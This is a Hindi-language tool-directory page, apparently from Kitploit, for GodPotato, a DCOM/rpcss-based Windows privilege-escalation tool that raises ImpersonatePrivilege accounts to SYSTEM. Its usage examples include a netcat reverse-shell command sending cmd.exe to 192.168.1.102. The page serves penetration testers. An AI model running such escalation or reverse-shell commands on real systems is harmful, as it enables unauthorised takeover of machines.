Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
GodPotato — Windows Server 2012-2022 और Windows 8-11 के लिए DCOM-आधारित विशेषाधिकार वृद्धि उपकरण, rpcss oxid भेद्यता के माध्यम से ImpersonatePrivilege वाले उपयोगकर्ताओं को NT AUTHORITY\SYSTEM तक ऊपर उठाता है। | Kitploit
उपकरण/GitHubGitHub/beichendream/godpotato
विशेषाधिकार वृद्धिशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंग
GitHubbeichendream/godpotato

GodPotato

Windows Server 2012-2022 और Windows 8-11 के लिए DCOM-आधारित विशेषाधिकार वृद्धि उपकरण, rpcss oxid भेद्यता के माध्यम से ImpersonatePrivilege वाले उपयोगकर्ताओं को NT AUTHORITY\SYSTEM तक ऊपर उठाता है।

रिपॉजिटरी देखें
2.3k2732 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GodPotato

पिछले 6 वर्षों के पोटैटो विशेषाधिकार वृद्धि के इतिहास के आधार पर, RottenPotato से लेकर JuicyPotatoNG तक, मैंने DCOM पर शोध करके एक नई तकनीक खोजी है, जो Windows 2012 - Windows 2022 में विशेषाधिकार वृद्धि को सक्षम बनाती है, अब जब तक आपके पास "ImpersonatePrivilege" अनुमति है। तब आप "NT AUTHORITY\SYSTEM" हैं, आमतौर पर WEB सेवाओं और डेटाबेस सेवाओं के पास "ImpersonatePrivilege" अनुमतियाँ होती हैं।

पोटैटो विशेषाधिकार वृद्धि का उपयोग आमतौर पर तब किया जाता है जब हम WEB/डेटाबेस विशेषाधिकार प्राप्त करते हैं। हम कम विशेषाधिकारों वाले सेवा उपयोगकर्ता को "NT AUTHORITY\SYSTEM" विशेषाधिकारों तक बढ़ा सकते हैं। हालाँकि, ऐतिहासिक पोटैटो नवीनतम Windows सिस्टम पर चलने में असमर्थ है। जब मैं DCOM पर शोध कर रहा था, तो मुझे एक नई विधि मिली जो विशेषाधिकार वृद्धि कर सकती है। rpcss में oxid से निपटने के दौरान कुछ दोष हैं, और rpcss एक ऐसी सेवा है जिसे सिस्टम द्वारा खोला जाना चाहिए। इसलिए यह लगभग किसी भी Windows OS पर चल सकती है, मैंने इसे GodPotato नाम दिया।

प्रभावित संस्करण

Windows Server 2012 - Windows Server 2022 Windows8 - Windows 11

उदाहरण

root@kitploit:~

    FFFFF                   FFF  FFFFFFF
   FFFFFFF                  FFF  FFFFFFFF
  FFF  FFFF                 FFF  FFF   FFF             FFF                  FFF
  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF
  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF
 FFFF        FFFFFFF   FFFFFFFF  FFF   FFF  FFFFFFF  FFFFFFFFF   FFFFFF  FFFFFFFFF    FFFFFF
 FFFF       FFFF FFFF  FFF FFFF  FFF  FFFF FFFF FFFF   FFF      FFF  FFF    FFF      FFF FFFF
 FFFF FFFFF FFF   FFF FFF   FFF  FFFFFFFF  FFF   FFF   FFF      F    FFF    FFF     FFF   FFF
 FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF         FFFFF    FFF     FFF   FFFF
 FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF      FFFFFFFF    FFF     FFF   FFFF
  FFF   FFF FFF   FFF FFF   FFF  FFF       FFF   FFF   FFF     FFFF  FFF    FFF     FFF   FFFF
  FFFF FFFF FFFF  FFF FFFF  FFF  FFF       FFF  FFFF   FFF     FFFF  FFF    FFF     FFFF  FFF
   FFFFFFFF  FFFFFFF   FFFFFFFF  FFF        FFFFFFF     FFFFFF  FFFFFFFF    FFFFFFF  FFFFFFF
    FFFFFFF   FFFFF     FFFFFFF  FFF         FFFFF       FFFFF   FFFFFFFF     FFFF     FFFF


तर्क:

        -cmd आवश्यक:True कमांडलाइन (डिफ़ॉल्ट cmd /c whoami)

उदाहरण:

GodPotato -cmd "cmd /c whoami"

प्रोग्राम के अंतर्निहित Clsid का उपयोग करके विशेषाधिकार वृद्धि करें और एक सरल कमांड निष्पादित करें

root@kitploit:~
GodPotato -cmd "cmd /c whoami"

Clsid को अनुकूलित करें और कमांड निष्पादित करें

root@kitploit:~
GodPotato -cmd "cmd /c whoami"

रिवर्स शेल कमांड निष्पादित करें

root@kitploit:~
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

धन्यवाद

zcgonvh

skay

लाइसेंस

Apache License 2.0

टूल डाउनलोड करें